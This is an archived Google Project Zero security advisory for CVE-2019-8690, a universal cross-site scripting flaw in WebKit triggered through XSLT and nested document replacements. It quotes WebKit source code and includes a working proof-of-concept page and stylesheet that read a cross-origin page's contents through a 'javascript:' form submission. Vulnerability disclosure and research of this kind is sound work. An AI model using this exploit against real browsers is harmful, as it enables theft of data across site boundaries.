what you don't know can hurt you

WebKit Universal Cross Site Scripting

WebKit Universal Cross Site Scripting
Posted Aug 12, 2019
Authored by Google Security Research, Glazvunov

WebKit suffers from a universal cross site scripting vulnerability via XSLT and nested document replacements.

tags | exploit, xss
advisories | CVE-2019-8690
MD5 | edfa91e3d768c7c1251900b4554b74ee

WebKit Universal Cross Site Scripting

Change Mirror Download
WebKit: UXSS via XSLT and nested document replacements 

Related CVE Numbers: CVE-2019-8690Id-714702681.


VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;

RefPtr<Document> result;
if (sourceMIMEType == \"text/plain\") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());

// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}

auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));

result->setContent(documentSource);
```

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);

if (m_documentIsBeingReplaced) // ***1***
return;

m_documentIsBeingReplaced = true;

[...]

if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***

m_doc = newDocument.copyRef();
```

`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.

When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.

VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).

REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));

pi = document.createProcessingInstruction('xml-stylesheet',
'type=\"text/xml\" href=\"stylesheet.xml\"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);

setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:\"\"';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }

child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();

doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));

doc.close();
}
}

victim_frame.src = 'javascript:\"\"';

if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>

```

stylesheet.xml:
```
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">
<xsl:template match=\"/\">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.


Found by: glazunov@google.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    11 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    2 Files
  • 19
    Aug 19th
    18 Files
  • 20
    Aug 20th
    19 Files
  • 21
    Aug 21st
    17 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close